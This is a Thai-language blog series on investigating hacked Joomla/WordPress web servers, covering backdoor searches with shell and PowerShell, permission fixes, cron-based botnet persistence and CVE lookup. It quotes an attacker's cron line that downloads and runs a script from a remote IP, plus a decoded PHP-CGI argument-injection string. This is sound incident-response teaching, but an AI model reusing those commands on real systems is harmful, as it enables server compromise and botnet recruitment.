    6. จึงตรวจสอบทั้ง /home ทุกไฟล์ *.php ที่อาจจะมี Backdoor ที่อาจซ่อนการใช้ฟังก์ชั่น eval หรือไม่ ด้วยคำสั่ง

    for f in $(find /home/ -name "*.php" -type f) ; do
      echo $f
      echo "---"
      grep 'eval(' "$f"
      echo "---"
    done

     พบว่า มีไฟล์ *.php ทั้งหมดจำนวน 15,883 ไฟล์ ในนั้นมี 200 กว่าไฟล์ ที่มีการใช้ฟังก์ชั่น eval จริง แต่บางส่วน ก็เป็นไฟล์ที่ถูกต้อง แต่มี 34 ไฟล์ ที่ เป็นไฟล์ Backdoor ใหม่ๆ เพิ่งสร้างขึ้นมา เช่น

    และ เป็นไฟล์ของระบบ ที่มีการแทรก Backdoor Code เข้าไป เช่น

    จึง เก็บรายชื่อไฟล์ทั้ง 34 นี้ ไว้ในไฟล์ ชื่อ 11-manualhack.txt และใช้คำสั่งต่อไปนี้ เพื่อเก็บไฟล์เอาไว้ เพื่อใช้ตรวจสอบต่อไป

     cat 11-manualhack.txt | xargs tar -cvf evalbackdoor.tar

     แล้วจึง ลบทิ้งด้วยคำสั่งต่อไปนี้

     cat 11-manualhack.txt | xargs rm -rf

     7. ตรวจสอบต่อไปว่า มี directory ใดบ้าง ที่ เปิดให้ Web User ‘nobody’ เขียนได้ ด้วยคำสั่ง

     find /home -user nobody -perm -u+w -type d

    พบว่า มี directory จำนวนมากที่เปิดให้ Web User เขียนได้

    และ ใช้คำสั่งต่อไปนี้ ดูว่า มี directory ใดบ้าง เปิดให้ใครๆก็เขียนได้ (World Writable) หรือ ตั้ง permission 777 ด้วยคำสั่ง

    find /home  -perm -o=w -type d

     ก็มีจำนวนมากเช่นกัน

     การแก้ไขปัญหา

    1. เก็บไฟล์ Backdoor ด้วยคำสั่งต่างๆข้างต้น และลบทิ้ง

    2. ปรับให้ทุก Directory เป็น Permission 755 ด้วยคำสั่ง

     find /home -type d -print0 | xargs -0 chmod 0755

     3. ปรับให้ทุก File เป็น Permission 644

     find /home -type f -print0 | xargs -0 chmod 0644

     4. เปลี่ยน Owner และ Group ของทุก Directory และ Files ให้เป็นของแต่ละ User ด้วยคำสั่งประมาณนี้

    chown -R user01.user01 /home/wwwroot

    5. ลบ crontab ด้วยคำสั่ง

    rm /var/spool/cron/crontabs/nobody

    6. หยุด Process PID 5106

    kill -9 5106

     คำแนะนำ

    เนื่องจาก ขณะนี้ได้ เราได้แต่ค้นหา ช่องโหว่ ตามที่เคยเรียนรู้มาเท่านั้น ยังมีรูปแบบต่างๆ ที่ยังไม่รู้อีกมากมาย จึงแนะนำให้

    1. ติดตั้ง OS ใหม่

    2. ติดตั้ง Joomla ใหม่ และ ย้ายเฉพาะ ข้อมูลที่อยู่ใน MySQL มา แล้วจึง Upgrade ให้เป็นรุ่นล่าสุด

    3. ย้ายเฉพาะ ภาพ และ ไฟล์เอกสารสำคัญมา แต่ต้องไม่เอาไฟล์ .php หรือ อื่นๆมาเด็ดขาด

    4. เข้มงวดกับการตั้ง Owner และ Permission กับผู้ใช้งานทุกคนของระบบ, หากจะมี Directory ใดต้องให้มีการ Upload ไฟล์ได้ จะต้องตั้งค่าไม่ให้ PHP ทำงานได้เด็ดขาด

    5. การใช้งาน Joomla จะต้องยกเลิกการ Upload ภาพผ่านทาง HTTP แต่ให้ใช้ FTP แทน

     และ บทความต่อๆไป จะพูดถึงการ Hardening เพื่อลดความเสียหายต่อไป

     ขอให้โชคดี

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #7

    คราวนี้ เป็นการตรวจสอบ ที่เป็น Windows Server 2008 32bit ที่ใช้ IIS6 เป็น Web Server และใช้ PHP 5.2.17  เครื่องของหน่วยงานภายในมหาวิทยาลัย ซึ่ง ถูก Google Webmaster Tools ตรวจพบว่า เครื่องดังกล่าวน่าจะโดน Hack และมีการวาง Backdoor เอาไว้

    เบื้องต้น พบว่า เครื่องนี้ ใช้ Joomla และรายงานของ Google ก็บอกไฟล์ปัญหา เป็น php ใน images/stories จึง เริ่มจากทำตาม วิธีตรวจสอบเว็บไซต์ที่โดน Hack #3 แต่ ต้องเปลี่ยนไปใช้คำสั่งบน PowerShell แทนที่จะเป็น Shell Script อย่างเดิม

    พื้นที่ Document Root อยู่ที่ c:\inetpub\wwwroot

    วิธีการตรวจสอบ

    1. ใช้  powershell ด้วยสิทธิ์ administrator privilege

    2. ค้นหา ไฟล์ *.php ซึ่งอยู่ใน directory “stories” (ใน PowerShell ทำงานแตกต่างจาก Shell Script มากๆ จึงต้องดัดแปลงบางอย่าง)

    gci c:\inetpub\wwwroot -rec -include "*stories*" | where {$_.psiscontainer} | gci -Filter "*.php"

    โดยที่คำสั่งนี้ ใช้ชื่อย่อ และมีความหมายดังนี้

    gci = Get-ChildItem : ทำงานเหมือนคำสั่ง find และใช้ option “-rec” ย่อมาจาก Recurse ซึ่งหมายถึง ค้นหาลงลึกไปใน Subdirectory ด้วย และ เอาเฉพาะใน Directory ย่อย “stories” เท่านั้น

    ส่วนการใช้ ไพพ์ “|” ก็ไม่เหมือนใน Shell Script ที่เป็นการส่ง String หรือข้อความตรงๆ แต่เป็นการส่งต่อ Object

    gci -Filter “*.php” หมายถึง เมื่อค้นหาลึกไปใน Subdirectory “stories” แล้ว ให้กรองเอาเฉพาะไฟล์ แบบ *.php

    ผลที่ได้คือ

    พบว่ามี php file จำนวนมาก ใน images/stories จริงๆ

    ดังภาพ

    3. ตรวจสอบ Log ซึ่งอยู่ที่ c:\inetpub\logs และค้นหาไฟล์ในนั้น ดูว่า มี “BOT.*JCE” บันทึกหรือไม่ ด้วยคำสั่ง

    gci c:\inetpub\logs -rec  | where {$_.psiscontainer} | gci -rec -filter "*.log" | get-content | select-string -pattern "BOT.*JCE"

    ผลที่ได้คือ

    ซึ่งพบว่า มีการโจมตีมาเป็นจำนวนมาก

    4. หา Backdoor อื่นๆ ที่อาจจะเกิดขึ้น หลังจาก Backdoor ใน images/stories เหล่านั้น โดยทดลองดูว่า มีไฟล์ใหม่เกิดขึ้น หลังจากแต่ละ Backdoor นั้นๆ 2 วันหรือไม่ ด้วยคำสั่ง

    $backdoor=gci C:\inetpub\wwwroot\sticorner\images\stories -filter "*.php"
    foreach ($f in $backdoor) {
      $other=gci C:\inetpub\wwwroot\ -rec -filter "*.php" | where-object { $_.LastWriteTime -ge $f.LastWriteTime -and $_.LastWriteTime -le ($f.LastWriteTime).adddays(+2) }  | %{$_.fullname}
     $f.fullname
     $other
    }

    จากการตรวจสอบ พบไฟล์อื่นๆบ้าง แต่ตรวจสอบแล้ว ในระยะเวลา 2 วันหลังจากวางไฟล์ ไม่มีการเขียน Backdoor อื่นๆเพิ่ม

    5. ตรวจสอบหา Backdoor พื้นฐาน ซึ่ง อาจจะใช้ eval แล้วตามด้วย base64_decode ด้วยคำสั่ง

    gci C:\inetpub\wwwroot\ -rec -filter "*.php" | select-string -pattern "eval.*base64" | select-object -unique path >  evalbase64.txt

    โดย เลือกเฉพาะไฟล์ *.php ที่มีคำสั่ง eval ตามด้วย base64_decode มาเก็บไว้ในไฟล์ evalbase64.txt เพื่อใช้ตรวจสอบต่อไป

    พบว่า มีไฟล์จำนวนมาก ที่เป็น Backdoor ดังกล่าว และ Hacker เอาไฟล์มาวางไว้เมื่อ 14/01/2556 แต่ ปลอมวันที่เป็น 15/12/2552 ด้วย ดังภาพ

    และไฟล์ที่พบ มีดังต่อไปนี้

    สำหรับคนที่ดูแล Windows Server ก็ลองใช้เทคนิคข้างต้น ในการค้นหา Backdoor ด้วย PowerShell ด้วย

    ขอให้โชคดีครับ

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #6

    วันนี้ได้รับรายงาน ร้องเรียนจากองค์กรภายนอก ว่ามีเครื่องคอมพิวเตอร์จาก Domain ของ PSU ส่งข้อมูลจำนวนมาก ไปโจมตี ระบบเครือข่ายที่ต่างประเทศ จึงทำการสืบสวน

    เบื้องต้น พบว่า มาจากเครื่อง Web Server ของคณะหนึ่ง ซึ่งเพิ่งย้ายจากเครื่องเดิมซึ่งโดน Hack มาก่อน หวังขึ้นเครื่องใหม่ แล้วทุกอย่างคงจะดีขึ้น … แต่ก็ยังไม่ใช่

    จึงขออนุญาต ผู้ดูแลระบบของคณะ เข้าตรวจสอบ โดยการสร้าง Account แยกต่างหาก และรายงานทุกขั้นตอนการทำงานให้ทราบ

    สิ่งที่พบคือ เป็น Ubuntu และใช้ Apache + PHP + MySQL มีการใช้งาน CMS เป็น WordPress เป็นส่วนใหญ่ แต่มี Joomla แค่หนึ่งเดียว นอกจากนั้น ยังพบว่ามี phpMyAdmin ด้วย

    เริ่มต้นจาก ตรวจสอบตามกระบวนการใน วิธีตรวจสอบเว็บไซต์ที่โตน Hack #4 ก็ไม่พบความผิดปรกติใด

    ผู้ดูแลระบบแจ้งว่า หลังจากทราบข่าว ก็ตรวจสอบทันที มีข้อสังเกต ว่า มี Process แปลกๆ ทำงาน ซึ่งตรวจสอบด้วยคำสั่ง

    ps aux

    ได้ผลว่ามีโปรแกรมแปลกๆ ทำงานในพื้นที่ /tmp และพยายามติดต่อไปภายนอก ดังนี้

    ซึ่งทำงานด้วย User ชื่อ www-data ซึ่ง เป็น Web User ซึ่งผิดปรกติ โดยชื่อโปรแกรมที่ทำงาน ชื่อ

    /tmp/php
    /tmp/pnscan

    ดูจากคำสั่ง สงสัยได้ว่า จะมีการติดต่อไปยังภายนอก เพื่อทำการบางอย่าง …

    จึงตรวจสอบ พบว่าไฟล์ ด้วยคำสั่ง

    stat /tmp/php
    stat /tmp/pnscan

     ได้ผลดังนี้

    /tmp/php ไฟล์สร้างเมื่อประมาณ         2013-12-13 20:22:51
    /tmp/pnscan ไฟล์สร้างเมื่อประมาณ     2013-12-13 20:22:35

     จึงตรวจสอบต่อ ด้วยคำสั่ง

    top

    แล้วเลือกดู เฉพาะ Process ที่ทำงานด้วย www-data โดยกดปุ่ม u แล้ว พิมพ์ www-data

    ได้ผลดังนี้

     จึงเห็น Process แปลกๆ คือ .xx มีเลข PID คือ 24813

     จึงไปดูรายละเอียดว่าไฟล์ดังกล่าว อยู่ที่ใด ด้วยคำสั่ง

    ls -l /proc/24813

    ได้ผลดังนี้

     จึงทราบว่า Process ดังกล่าว ไปเรียกไฟล์จาก /dev/shm/.xx ซึ่งเป็นส่วนพื้นที่ของ Share Memory

    จึงลองใช้คำสั่ง

    ls -la /dev/shm/

     ได้ผลดังนี้

     พบว่า ไฟล์ดังกล่าว สร้างเมื่อเวลาประมาณ 2013-12-13 22:45 และ มีความพยายามจะสร้างอีกไฟล์ ชื่อ .x เมื่อเวลาประมาณ 2013-12-14 11:47

     เพื่อให้เห็นการทำงาน ของ Process ID 24813 ให้ละเอียดยิ่งขึ้น จึงปรับคำสั่ง จาก ps aux เป็น (เพิ่ม we เข้าไป)

    ps auxwe | grep 24813

    เพื่อให้แสดงผล แบบ Wide Output (w) และ แสดง Environment Variable (e) ที่เกี่ยวข้องด้วย ได้ผลดังนี้

     จากคำสั่งนี้ ทำให้ทราบว่า Hacker เรียกมาจาก

     REMOTE_ADDR=193.51.237.2
     QUERY_STRING=%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E
     REQUEST_URI=/cgi-bin/php5

     

    จากข้อมูล REMOTE_ADDR ข้างต้น ไปค้นหา พบว่า Hacker มาจากประเทศ ฝรั่งเศษ โดยการค้นหาจาก

    http://whatismyipaddress.com/ip/193.51.237.2

     เมื่อข้อมูล QUERY_STRING ซึ่งเป็นข้อมูลแบบ URL Encode ไปผ่านการ Decode จะได้ข้อมูลเป็น

     -d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n

     และ จาก REQUEST_URI ก็พบว่า Hacker เรียกผ่าน PHP ในแบบ cgi-bin โดยผ่านค่าที่ได้จาก QUERY_STRING ไป ซึ่ง แม้ PHP ตัวหลักของ Web Server จะปิดการ allow_url_include, เปิด safe_mode หรือปิด functions ต่างๆก็ตาม ด้วย Code ข้างต้น ทำให้ Hacker สามารถเรียกใช้สิ่งที่ไม่อนุญาตไว้ได้ทั้งหมด โดยไม่สนใจตัว PHP ของ Web Server เลย

     แต่จากข้อมูลที่ได้มา ทราบแค่ว่า Hacker ใช้วิธีการโจมตีผ่านช่องโหว่ของ PHP ในแบบ cgi-bin เท่านั้น แต่ยังไม่ทราบว่า ไฟล์นี้ มาได้อย่างไร

    จึงค้นหาต่อ โดยการเปิดดูไฟล์ /var/log/syslog ทั้งหมด พบว่า มี User www-data เรียกใช้งาน Cron ซึ่งผิดปรกติด้วย จึง ใช้คำสั่งต่อไปนี้ ตรวจสอบ

    zgrep "www-data" /var/log/syslog*

     ผลที่ได้คือ

     /var/log/syslog.3.gz:Dec 14 11:47:01 phar2 CRON[24799]: (www-data) CMD (/tmp/update >/dev/null 2>&1)var/log/syslog.3.gz:Dec 14 11:47:34 phar2 crontab[24814]: (www-data) REPLACE (www-data)
    /var/log/syslog.3.gz:Dec 14 11:48:01 phar2 cron[1075]: (www-data) RELOAD (crontabs/www-data)
    /var/log/syslog.3.gz:Dec 15 00:00:01 phar2 CRON[29845]: (www-data) CMD (wget -q http://221.132.37.26/scen -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh)

     จึงใช้คำสั่ง

     wget -q http://221.132.37.26/scen

     เพื่อเอาไฟล์ชื่อ ‘scen’ จาก Website ดังกล่าวมาดู มีเนื้อหาดังนี้

    ซึ่ง การสร้าง cron นั้น จะไปฝังที่ /var/spool/cron/crontab โดยดูได้จากคำสั่ง

    ls -l /var/spool/cron/crontabs/

    ผลที่ได้คือ

    www-data.cron

    ซึ่ง แม้จะ Reboot เครื่อง หรือ Clear backdoor ต่างๆออกไปแล้ว ก็จะยังมี cron นี้ไปดึง Botnet กลับมาทุกสัปดาห์อยู่ดี

    จึงทำให้ทราบว่า Hacker เริ่มจาก

    1. เอาไฟล์มาวางไว้ใน /tmp ให้ได้ เช่น ชื่อไฟล์ /tmp/update, /tmp/sh หรืออะไรก็แล้วแต่

    2. จากนั้น ไฟล์เหล่านั้น ก็จะไป Download ผ่านโปรแกรมต่างๆ พวกนี้จะเรียกได้ว่าเป็น Botnet  เช่น เครื่องนี้ เป็นโปรแกรมในการ Scan Port เพื่อหาว่าในเครือข่ายปลายทาง มีบริการใดเปิดอยู่บ้างเป็นต้น หรือ จะฝังโปรแกรมแบบ Sniffer ไว้ก็สามารถทำได้เช่นกัน แต่แทนที่จะเก็บไว้ใน Directory ทั่วไป กลับเอาไปไว้ใน /dev/shm ซึ่งเป็น Share Memory ซึ่ง ผู้ดูแลระบบทั่วไป อาจจะไม่ได้ตรวจสอบ

    3. จากนั้นก็สั่ง Execute Botnet เหล่านั้น ให้ทำงานไป

    4. สร้าง crontab ชั่วคราว เพื่อให้ไปเอาโปรแกรมมาใหม่ แบบ Weekly หรือสัปดาห์ละครั้ง ไปเก็บไว้ในไฟล์ชื่อ /tmp/corn แล้วใช้คำสั่ง crontab /tmp/corn เพื่อเอา script ดังกล่าวเข้าทำงานใน Cron ของระบบ แล้ว สั่งทำงาน แล้วลบตัวเองทิ้ง จึงทำให้ ไม่สามารถหา ต้นตอได้ง่ายๆ

     เป็นเหตุให้ เครื่อง Web Server เครื่องนี้ ตกเป็น Botnet ตลอดไปนั่นเอง

     คำถามสำคัญ แล้ว … มันมีช่องโหว่ใด ???

     จึง ทดลองหาดูว่า มีไฟล์ใด /home (ซึ่งเครื่องนี้ ให้ผู้ใช้แต่ละคน สร้าง Website บนพื้นที่ /home ของตนเอง) ว่ามีไฟล์ใดบ้าง ที่มีการสั่งเขียนไฟล์ /tmp/php ด้วยคำสั่ง

     find /home -type f -exec grep '/tmp/php' {} \;

     ผลที่ได้คือ

    ในไฟล์ Documentation.html ของ phpMyAdmin ซึ่งระบุว่า

     และตรวจสอบ พบว่า ในบทความ  Debian: New phpmyadmin packages fix several vulnerabilities แจ้งว่า phpMyAdmin ไม่ได้ตรวจสอบสิทธิ์ให้ดีเพียงพอ จึงทำให้สามารถสร้างไฟล์ใน /tmp/ ได้ และแจ้งว่ามี CVE ที่กล่าวถึงใน วิธีตรวจสอบเว็บไซต์ที่โตน Hack #5 เกี่ยวกับ phpMyAdmin มีช่องโหว่ หมายเลข

    CVE-2008-7251

    CVE-2008-7252

    CVE-2009-4605

     สรุป

    1.ช่องโหว่ครั้งนี้ มาจาก phpMyAdmin ทำให้ Hacker สามารถสร้างไฟล์ใน /tmp ได้ และสามารถสร้าง Cron เพื่อดึง Botnet มาไว้ในเครื่องได้ และทำลายตัวเองทิ้งได้ด้วย

    2. ในอนาตค หากผู้ดูแลระบบ พบว่ามี Process แปลกๆ ให้ดูหมายเลข PID เช่น 24813 ก็ให้เปิด ls -la /proc/24813/ ก็จะทำให้ทราบ ต้นตอของ Process นั้นๆอยู่ที่ใด

    3. การบริหารจัดการ Log File มีความสำคัญอย่างยิ่ง ในระบบนี้ ได้เก็บ Log File ย้อนหลังไว้เพียงพอ ทำให้สามารถค้นหาต้นตอได้

    4. คาถาป้องกันตัว คือ
    “update เป็นนิจ
    ติดตามข่าวสาร
    อย่าเอาแต่เชื่ออาจารย์ (Tools)
    สร้างการป้องกัน
    ขยันอ่าน Log
    เตรียม Block ช่องโหว่
    สุขโขนั่นเป็นเรื่องชั่วคราว
    กรรมระยะยาว ของ SysAdmin”

    ขอให้โชคดี

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #5

    จากที่ผ่านมา เราได้เรียนรู้จาก

    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #1
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #2
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #3
    วิธีตรวจสอบเว็บไซต์ที่โดน Hack #4

    เราได้แต่ตามแก้ไขปัญหา เมื่อเกิดเรื่องขึ้นกับ Website ของเราแล้ว ถึงเวลาแล้ว ที่เราจะต้อง “Proactive” หรือ ทำงานเชิงรุกกันได้แล้ว

    ในโลกเทคโนโลยี มีคนเก่งๆมากมายที่เขาทุ่มเทเวลา เพื่อค้นหาช่องโหว่ต่างๆ ในที่นี้ กรณีของ Joomla ก็สามารถไปดูได้ที่

    Joomla Developer Network  http://developer.joomla.org/security.html

    จากเวปไซต์ดังกล่าว จะเป็นรายงานอย่างเป็นทางการของ Joomla, สิ่งที่ต้องสนใจ คือ

    • Severity: ความร้ายแรง ถ้าเป็นระดับ High, Critical แสดงว่า ร้ายแรง ต้องแก้ไขทันที

    • Versions: รุ่นของ Joomla ที่ได้รับผลกระทบ (ผู้เป็นเจ้าของ ควรรู้ว่าตัวเองใช้รุ่นใด)

    • Exploit type: ลักษณะของช่องโหว่ เช่น XSS, SQL Injection, RFI, Buffer Overflow และอื่นๆ (จะอธิบายในลำดับต่อไป)

    • Reported Date/Fixed Date : แสดง วันที่ที่ตรวจพบ จนถึงวันที่ Joomla ได้แก้ไขปัญหาดังกล่าว

    • CVE Number: แสดงตัวเลขอ้างอิง สำหรับการตรวจสอบกับระบบรักษาความปลอดภัยต่างๆ ถ้ามีตัวเลข CVE แล้ว แสดงว่าปัญหาดังกล่าวมีการยืนยันว่าเป็นปัญหา และมีคนหาทางแก้ไขปัญหาแล้ว รวมถึง มักจะมี Exploited Tools หรือ เครื่องมือในการทดสอบแล้วด้วย ซึ่ง ก็จะมีพวก Script Kiddie หรือ พวกชอบลองของ เอาไปโจมตีเวปไซต์ต่างๆ ทั้งเพื่อความสนุกสนาน และทำลายล้าง (จะอธิบายในลำดับถัดไป)

    • Description และ Solution: รายละเอียดของปัญหา และแนวทางแก้ไข

    CVE ย่อมาจาก Common Vulnerabilities and Exposures ดูรายละเอียดเพิ่มเติมที่ http://cve.mitre.org/ เรียกได้ว่า เป็น ชื่อทางการของช่องโหว่ โดยมีรูปแบบเป็น CVE-YYYY-NNNN โดยที่ YYYY เป็นปี ค.ศ. ที่ค้นพบช่องโหว่ ส่วน NNNN แสดงลำดับในการค้นพบ ดังนั้น จะมีชื่อได้ 10,000 ชื่อ เช่น CVE-2013-5576 แสดงว่า เป็นช่องโหว่ เกิดขึ้นปี 2013 และเป็นลำดับที่ 5576 ของปีนั้น (แต่ ตั้งแต่ 1 ม.ค. 2014 จะมีการเปลี่ยนแปลงรูปแบบ ตัวเลขตั้งแต่ 0-9999 จะยังใช้ NNNN หรือ 4 Digit เหมือนเดิม แต่เมื่อมากกว่านั้น ก็สามารถขยายไปได้เรื่อยๆ เช่น CVE-0001 แต่เมื่อเกิน 10,000 ก็จะเป็น CVE-10001 หรือใช้ NNNNN เป็น 5 Digit นั่นเอง)

    ปัญหาอยู่ที่ว่า จาก Website ของ Joomla Developer Network มักไม่ค่อยให้รายละเอียดมากนัก จึงขอแนะนำ อีก Website คือ

    http://www.scip.ch/en/?vuldb

    เวปไซต์ดังกล่าว จะแสดงรายการช่องโหว่ต่างๆที่ค้นพบ จัดลำดับเวลาในการเกิดเหตุ และความร้ายแรงได้อีกด้วย

    ในกรณีที่ต้องการค้นหา ปัญหาของ Joomla 2.5 สามารถใช้ Google ช่วยค้นหาได้ โดยการค้นหาด้วยคำต่อไปนี้

    joomla 2.5 site:scip.ch

    จากผลการค้นหา จะพบว่า มีหลายช่องโหว่มาก ลองดูสักหนึ่งรายการ

    http://www.scip.ch/en/?vuldb.9847

    จากภาพ แสดงให้เห็นว่า เป็นช่องโหว่ระดับ Critical ของ Joomla รุ่น 2.5.1 / 3.1.4 ซึ่งทำให้ Hacker สามารถ Upload ไฟล์ Backdoor เข้าไปใน Website ได้ และ ช่องโหว่ดังกล่าว ได้ตัวเลข CVE คือ CVE-2013-5576 พบเมื่อ วันที่ 23 ส.ค. 2013

    นอกจากนั้น ยังแสดงรายละเอียดอื่นๆ ได้แก่ CVSS และ OSVDB ซึ่งจะเป็นการแสดงขนาดของผลกระทบ และความยากง่ายในการโจมตี  ซึ่งจะอธิบายต่อไป

    ต่อไป ลองไปดู รายละเอียดของ CVE-2013-5576 ที่
    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5576

    จะพบว่า มีคนทำ Exploits ไว้แล้วที่  http://www.exploit-db.com/exploits/27610/

    สำหรับบางช่องโหว่ ก็มีคนไปสร้าง Patch หรือ วิธีแก้ไขให้แล้ว
    จากรุ่น 2.5.13 เป็น 2.5.14 ทำตามนี้
    https://github.com/joomla/joomla-cms/commit/fa5645208eefd70f521cd2e4d53d5378622133d8

    จากรุ่น 3.1.4 เป็น 3.1.5
    https://github.com/joomla/joomla-cms/commit/1ed07e257a2c0794ba19e864f7c5101e7e8c41d2

    CVSS and  OSVDB (เดียวกลับมาเขียนเพิ่มเติม)
    Common Vulnerability Scoring System (CVSS ) เป็นระบบการให้คะแนนช่องโหว่ เพื่อให้สามารถบริหารจัดการ รายละเอียดการคำนวนทั้งหมด ดูได้ที่นี่ http://www.first.org/cvss/cvss-guide.html
    Open Sourced Vulnerability Database (OSDB)

    CWE (Common Weakness Enumeration)

    นอกจากนั้น ยังมีเวปไซต์ ที่เราสามารถดู รายการช่องโหว่ ของ CMS หรือ Software ต่างๆ ได้ที่ CVE Details : http://www.cvedetails.com/

     Joomla มีประวัติช่องโหว่ดังนี้
    http://www.cvedetails.com/vendor/3496/Joomla.html

     Wordpress มีประวัติช่องโหว่ดังนี้
    http://www.cvedetails.com/vendor/2337/Wordpress.html

     

    Mambo ในอดีต และหยุดพัฒนาไปตั้งแต่ปี 2008 มีประวัติช่องโหว่ดังนี้
    http://www.cvedetails.com/vendor/842/Mambo.html

    หวังว่าจะมีประโยชน์ครับ

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #4

    (ตอนนี้ จะเน้นการตรวจสอบ Joomla เป็นหลักครับ)

    จาก “วิธีตรวจสอบเว็บไซต์ที่โดน Hack #3” ซึ่ง เป็นการตรวจสอบเบื้องต้นว่า มีการบุกรุกผ่านช่องโหว่ต่างๆของ Web Server เข้ามาวาง Backdoor หรือไม่ ซึ่ง ตั้งสมมุติฐานว่า Hacker จะเอาไฟล์ .php มาวางไว้ในไดเรคทอรี่ images/stories เท่านั้น

    แต่ความจริงแล้ว … ไม่ใช่เช่นนั้น

    เพราะ Hacker ต้องคิดต่อไปอีกขั้นหนึ่ง คือ ต้องวางไฟล์ Backdoor ไว้ในที่อื่นๆด้วย รวมถึง พยายามแก้ไขไฟล์ .php ของ Joomla เพื่อไม่ให้ผิดสังเกต และเป็นช่องในการกลับเข้ามาในภายหลัง

    ในบทความนี้ เป็นแนวทางปฏิบัติที่พึงดำเนินการ เพื่อการสืบสวน ค้นหา และทำลาย Backdoor ที่อื่นๆ รวมถึง เสนอแนวทางปฏิบัติ เพื่อผู้ดูแลระบบจะได้ทราบว่า มีไฟล์ใดบ้างที่เปลี่ยนแปลง ในอนาคต

    ภาพรวมขั้นตอนการปฏิบัติ

    1. ทำการตรวจสอบไฟล์ .php ใน images/stories แล้วเก็บเป็น List เอาไว้
    2. ดึงไฟล์ Backdoor ที่พบ มาเก็บไว้ก่อน ด้วยคำสั่ง tar
    3. ค้นหาไฟล์ ที่เกิดขึ้นหรือถูกแก้ไข ในเวลาใกล้เคียงกันกับ Backdoor นั้นๆ แล้วเก็บเป็น List เอาไว้
    4. ดึงไฟล์ ต้องสงสัย มาเก็บไว้ก่อน แล้ว ตรวจสอบ เป็นรายไฟล์
    5. ลบไฟล์ Backdoor จาก List ในข้อ 1.
    6. ลบไฟล์ ต้องสงสัย หลังจากการตรวจสอบในข้อ 4.
    7. ตรวจสอบ Web User คือใคร
    8. ค้นหา Directory ที่ Web User จากข้อ 7. ที่สามารถเขียนได้
    9. ค้นหา Backdoor พื้นฐานเพิ่มเติม

    รายละเอียดการปฏิบัติ

    คำสั่งต่อไปนี้ อยู่บนพื้นฐานที่ว่า
    Document Root ของ Web Server อยู่ใน /var/www/ ของแต่ละผู้ใช้
    ดังนั้น ขอให้ปรับเปลี่ยนตามระบบของท่าน

    1. ทำการตรวจสอบไฟล์ .php ใน images/stories แล้วเก็บเป็น List เอาไว้
    ใช้คำสั่งต่อไปนี้

    find /var/www/ -name "*.php" -type f | grep 'images/stories' > /tmp/backdoor.txt

    2. ดึงไฟล์ Backdoor ที่พบ มาเก็บไว้ก่อน ด้วยคำสั่ง tar เพื่อให้ในการตรวจสอบ และภายหลัง

    cat /tmp/backdoor.txt | xargs tar -cvf /tmp/backdoor.tar

    ลองตรวจสอบว่า คำสั่งดังกล่าว เก็บไฟล์ได้จริงหรือไม่ ด้วยคำสั่งต่อไปนี้

    tar -tvf /tmp/backdoor.tar

    3. ค้นหาไฟล์ ที่เกิดขึ้นหรือถูกแก้ไข ในเวลาใกล้เคียงกันกับ Backdoor นั้นๆ แล้วเก็บเป็น List เอาไว้ ให้สร้างไฟล์ ชื่อ findbackdoor.sh แล้วใส่เนื้อหาตามนี้

    #!/bin/sh
    BD="/tmp/backdoor.txt"
    TMP01="/tmp/otherbackdoor.txt"
    DMROOT="/var/www/"
    for f in $(cat $BD) ; do
        echo ":: $f ::"
        fdate=$(stat $f |grep ^Modify|awk '{print $2}')
        fdate2=$(date +%Y-%m-%d --date="$fdate 1 day")
        find $DMROOT -type f -name "*.php" -newermt $fdate ! -newermt $fdate2  >> $TMP01
        echo "------"
        echo ""
    done

    แล้วใช้คำสั่ง

    sh findbackdoor.sh

    โปรแกรมนี้จะทำการค้นหาไฟล์ ที่ถูก “สร้าง/แก้ไข” ในวันที่ backdoor ที่อยู่ใน images/stories ที่พบ และหลังจากนั้น 1 วัน  และ แสดงผลลัพธ์ไว้ในไฟล์ /tmp/otherbackdoor.txt

    4. ดึงไฟล์ ต้องสงสัย มาเก็บไว้ก่อน แล้ว ตรวจสอบ เป็นรายไฟล์

    cat /tmp/otherbackdoor.txt | xargs tar -cvf /tmp/otherbackdoor.tar

    5. ลบไฟล์ Backdoor จาก List ในข้อ 1.
    ซึ่งอยู่ในไฟล์ /tmp/backdoor.txt ด้วยคำสั่ง

    cat /tmp/backdoor.txt | sudo xargs rm -rf

    6. ลบไฟล์ ต้องสงสัย หลังจากการตรวจสอบในข้อ 4.

    คำเตือน ตรวจสอบไฟล์ที่ปรากฏใน /tmp/otherbackdoor.txt ** ทุกไฟล์ ** เพราะ ไม่ใช่ทุกไฟล์ในนี้ จะเป็น Backdoor หากตรวจสอบแล้ว พบว่า ไม่ใช่ ก็ให้ลบบรรทัดนั้น ทิ้งไป ให้ในไฟล์ /tmp/otherbackdoor.txt เหลือแต่ไฟล์ backdoor จริงๆ

    เมื่อมั่นใจแล้ว ลบด้วยคำสั่ง

    cat /tmp/otherbackdoor.txt | sudo xargs rm -rf

